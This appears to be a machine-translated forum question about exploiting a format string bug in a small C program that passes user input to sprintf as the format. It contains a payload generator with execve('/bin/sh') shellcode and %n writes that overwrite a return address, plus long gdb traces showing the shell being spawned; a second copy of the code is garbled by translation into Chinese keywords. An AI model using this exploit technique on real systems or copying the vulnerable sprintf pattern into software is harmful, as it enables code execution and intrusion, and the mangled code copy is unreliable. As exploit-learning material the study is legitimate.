Linux 格式化字符串错误-利用
我正试图利用我的格式字符串错误,它存在于这个程序中:Linux 格式化字符串错误-利用,linux,debugging,exploit,shellcode,Linux,Debugging,Exploit,Shellcode,我正试图利用我的格式字符串错误,它存在于这个程序中: #include <sys/types.h> #include <sys/uio.h> #include <unistd.h> #include <stdio.h> #include <string.h> void foo(char* tmp, char* format) { /* write into tmp a string formated as the format a
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void foo(char* tmp, char* format) {
/* write into tmp a string formated as the format argument specifies */
sprintf(tmp, format);
/* just print the tmp buffer */
printf("%s", tmp);
}
int main(int argc, char** argv) {
char tmp[512];
char format[512];
while(1) {
/* fill memory with constant byte */
memset(format, '\0', 512);
/* read at most 512 bytes into format */
read(0, format, 512);
/* compare two strings */
if (!strncmp(format, "exit", 4))
break;
foo(tmp, format);
}
return 0;
}
因此,基本思想是编写一个%x、%n、。。。并将其输入程序。我用来建立输入字符串的程序是:
#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char shellcode[] =
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
main()
{
char b0[255];
char b1[255];
char b2[255];
char b3[255];
char b4[1024];
char buffer[512];
memset(b0, 0, 255);
memset(b1, 0, 255);
memset(b2, 0, 255);
memset(b3, 0, 255);
memset(b4, 'A', 1024);
memset(b0, 'A', 0x68 - 0x10 - 0x28); // 0x10 because of the four addresses; 0x28 because of the shellcode
memset(b1, 'A', 0xf0 - 0x68);
memset(b2, 'A', 0xff - 0xf0);
memset(b3, 'A', 0x1bf - 0xff);
printf("\x48\xf0\xff\xbf"
"\x49\xf0\xff\xbf"
"\x4a\xf0\xff\xbf"
"\x4b\xf0\xff\xbf"
"%s"
"%s"
"%%6$n"
"%s"
"%%7$n"
"%s"
"%%8$n"
"%s"
"%%9$n"
,shellcode, b0, b1, b2, b3);
}
#包括
#包括
#包括
#包括
#包括
#包括
字符外壳代码[]=
“\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46”
“\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1”
“\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68”;
main()
{
char b0[255];
字符b1[255];
字符b2[255];
char b3[255];
字符b4[1024];
字符缓冲区[512];
memset(b0,0255);
memset(b1,0255);
memset(b2,0255);
memset(b3,0255);
memset(b4,'A',1024);
memset(b0'A',0x68-0x10-0x28);//0x10因为有四个地址;0x28因为外壳代码
memset(b1,‘A’,0xf0-0x68);
memset(b2,'A',0xff-0xf0);
memset(b3,'A',0x1bf-0xff);
printf(“\x48\xf0\xff\xbf”
“\x49\xf0\xff\xbf”
“\x4a\xf0\xff\xbf”
“\x4b\xf0\xff\xbf”
%s
%s
“%%6$n”
%s
“%%7$n”
%s
“%%8$n”
%s
“%%9$n”
,外壳代码,b0,b1,b2,b3);
}
我们可以看到,我已经用以下十六进制数覆盖了地址:0xbffff048、0xbffff049、0xbffff04a、0xbffff04b:0x68、0xf0、0xff、0x1bf,这给了我们地址:0xbffff068(内存中外壳代码的地址)。因此,我们的想法是用这个地址覆盖0x08048528(EIP),所以当函数返回时,它将跳转到那个地址
我已经做了所有这一切,并与调试器检查,这一切都是好的。但是我仍然从/lib/libc.so.6中得到vfprintf()中的分段错误
有人知道发生了什么事吗。我把事情搞砸了吗
谢谢完全重写
地址有一点变化,但我已经按照你说的做了,我使用了stepi,结果是: strcpy之后,内存看起来像:
(gdb) x/50x $esp
0xbffff024: 0xbffff240 0xbffff040 0xbffff448 0xbffff050
0xbffff034: 0xbf000001 0xbffff040 0x00000004 0xbffff030
0xbffff044: 0xbffff031 0xbffff032 0xbffff033 0x315e1aeb
0xbffff054: 0x074688c0 0x5e891e8d 0x0c468908 0xf3890bb0
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0x41414141 0x41414141 0x41414141
0xbffff084: 0x41414141 0x41414141 0x41414141 0x6e243625
0xbffff094: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) x/50x 0xbffff024
0xbffff024: 0xbffff240 0xbffff040 0xbffff448 0xbffff050
0xbffff034: 0xbf000001 0xbffff040 0x00000004 0xbffff030
0xbffff044: 0xbffff031 0xbffff032 0xbffff033 0x315e1aeb
0xbffff054: 0x074688c0 0x5e891e8d 0x0c468908 0xf3890bb0
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0x41414141 0x41414141 0x41414141
0xbffff084: 0x41414141 0x41414141 0x41414141 0x6e243625
0xbffff094: 0x41414141 0x41414141 0x41414141 0x41414141
我们可以看到要跳转到的地址现在是0xbffff050,这是正确的(这是我们的外壳代码)
然后我执行步骤I:
(gdb) i reg $eip
eip 0x804846c 0x804846c <foo+24>
(gdb) stepi
0x0804846d in foo (tmp=0x1 <Address 0x1 out of bounds>, format=0xbffff4f4 "_\366\377\277") at main.c:13
13 }
好的,它试图跳到0xbffff050上,但没有成功,或者怎么了?EIP仍为0xbffff050 内存看起来像:
(gdb) x/50x $esp
0xbffff024: 0xbffff240 0xbffff040 0xbffff448 0xbffff050
0xbffff034: 0xbf000001 0xbffff040 0x00000004 0xbffff030
0xbffff044: 0xbffff031 0xbffff032 0xbffff033 0x315e1aeb
0xbffff054: 0x074688c0 0x5e891e8d 0x0c468908 0xf3890bb0
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0x41414141 0x41414141 0x41414141
0xbffff084: 0x41414141 0x41414141 0x41414141 0x6e243625
0xbffff094: 0x41414141 0x41414141 0x41414141 0x41414141
(gdb) x/50x 0xbffff024
0xbffff024: 0xbffff240 0xbffff040 0xbffff448 0xbffff050
0xbffff034: 0xbf000001 0xbffff040 0x00000004 0xbffff030
0xbffff044: 0xbffff031 0xbffff032 0xbffff033 0x315e1aeb
0xbffff054: 0x074688c0 0x5e891e8d 0x0c468908 0xf3890bb0
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0x41414141 0x41414141 0x41414141
0xbffff084: 0x41414141 0x41414141 0x41414141 0x6e243625
0xbffff094: 0x41414141 0x41414141 0x41414141 0x41414141
我没有使用$esp来显示内存,因为它已从0xbffff024更改为0xbffff034
好的,让我们跳到0xbffff06c(这是外壳代码的开始):
好的,让我们调用0xbffff052:
(gdb) stepi
0xbffff052 in ?? ()
(gdb) x/4i $eip
=> 0xbffff052: pop esi
0xbffff053: xor eax,eax
0xbffff055: mov BYTE PTR [esi+0x7],al
0xbffff058: lea ebx,[esi]
让我们使用上一次呼叫的返回地址存储ESI register:
(gdb) stepi
0xbffff053 in ?? ()
(gdb) x/4i $eip
=> 0xbffff053: xor eax,eax
0xbffff055: mov BYTE PTR [esi+0x7],al
0xbffff058: lea ebx,[esi]
0xbffff05a: mov DWORD PTR [esi+0x8],ebx
(gdb) i reg $esi
esi 0xbffff071 -1073745807
让我们将EAX设置为0:
(gdb) stepi
0xbffff055 in ?? ()
(gdb) i reg $eax
eax 0x0 0
让我们将null写入内存中的位置:
(gdb) x/4i $eip
=> 0xbffff055: mov BYTE PTR [esi+0x7],al
0xbffff058: lea ebx,[esi]
0xbffff05a: mov DWORD PTR [esi+0x8],ebx
0xbffff05d: mov DWORD PTR [esi+0xc],eax
(gdb) x/20x $esp
before:
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0x41414141 0x41414141 0x41414141
after:
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0x41414100 0x41414141 0x4141414
执行LEA指令:
(gdb) x/4i $eip
=> 0xbffff058: lea ebx,[esi]
0xbffff05a: mov DWORD PTR [esi+0x8],ebx
0xbffff05d: mov DWORD PTR [esi+0xc],eax
0xbffff060: mov al,0xb
(gdb) x/x $esi
0xbffff071: 0x6e69622f
(gdb) x/x $ebx
0x29aff4: 0x00158d7c
(gdb) stepi
0xbffff05a in ?? ()
(gdb) x/x $ebx
0xbffff071: 0x6e69622f
(gdb) x/4i $eip
=> 0xbffff06a: int 0x80
0xbffff06c: call 0xbffff052
0xbffff071: das
0xbffff072: bound ebp,QWORD PTR [ecx+0x6e]
(gdb) stepi
process 2863 is executing new program: /bin/dash
Program exited normally.
另一个内存更改:
(gdb) x/4i $eip
=> 0xbffff05a: mov DWORD PTR [esi+0x8],ebx
0xbffff05d: mov DWORD PTR [esi+0xc],eax
0xbffff060: mov al,0xb
0xbffff062: mov ebx,esi
(gdb) stepi
0xbffff05d in ?? ()
(gdb) stepi
0xbffff060 in ?? ()
(gdb) x/40x $esp
0xbffff064: 0x8d084e8d 0x80cd0c56 0xffffe1e8 0x69622fff
0xbffff074: 0x68732f6e 0xfff07100 0x000000bf 0x41414100
用系统调用填充EAX:
(gdb) x/4i $eip
=> 0xbffff060: mov al,0xb
0xbffff062: mov ebx,esi
0xbffff064: lea ecx,[esi+0x8]
0xbffff067: lea edx,[esi+0xc]
(gdb) i reg $eax
eax 0x0 0
(gdb) stepi
0xbffff062 in ?? ()
(gdb) i reg $eax
eax 0xb 11
填充ebx、ecx、edx:
(gdb) x/4i $eip
=> 0xbffff062: mov ebx,esi
0xbffff064: lea ecx,[esi+0x8]
0xbffff067: lea edx,[esi+0xc]
0xbffff06a: int 0x80
(gdb) stepi
0xbffff064 in ?? ()
(gdb) stepi
0xbffff067 in ?? ()
(gdb) stepi
0xbffff06a in ?? ()
(gdb) i reg $eax $ebx $ecx $edx
eax 0xb 11
ebx 0xbffff071 -1073745807
ecx 0xbffff079 -1073745799
edx 0xbffff07d -1073745795
执行int指令:
(gdb) x/4i $eip
=> 0xbffff058: lea ebx,[esi]
0xbffff05a: mov DWORD PTR [esi+0x8],ebx
0xbffff05d: mov DWORD PTR [esi+0xc],eax
0xbffff060: mov al,0xb
(gdb) x/x $esi
0xbffff071: 0x6e69622f
(gdb) x/x $ebx
0x29aff4: 0x00158d7c
(gdb) stepi
0xbffff05a in ?? ()
(gdb) x/x $ebx
0xbffff071: 0x6e69622f
(gdb) x/4i $eip
=> 0xbffff06a: int 0x80
0xbffff06c: call 0xbffff052
0xbffff071: das
0xbffff072: bound ebp,QWORD PTR [ecx+0x6e]
(gdb) stepi
process 2863 is executing new program: /bin/dash
Program exited normally.
第二步:
(gdb) stepi
The program is not being run.
所以我想没有错误,它是有效的。但问题仍然是,当我正常启动程序时,我无法获得/bin/dash控制台。有趣的是,进程2863只是立即退出……而没有提示在gdb中输入shell?有什么想法吗?您的shell代码在“可理解”程序集中是什么样子的?是的,它是可执行的,我已将其设置为:execstack-s./main。。。所以这不应该是问题。“好吧,它试图跳到0xbffff050上,但没有成功,或者什么?”-你没有
x/4i$eip
不会执行任何操作。我建议你在每次步骤之前使用它。。。是的,它跳到0xbffff050上。它可以很好地执行整个外壳代码,但在最后它只是立即结束。当在shell中运行它时(不是在gdb中),什么都不会发生。。。有什么想法吗?我会把问题标记为已解决。从跟踪中可以看出,溢出工作正常,问题出在地址上,因为当程序在shell或gdb中运行时,地址不同。固定的。谢谢你们的帮助。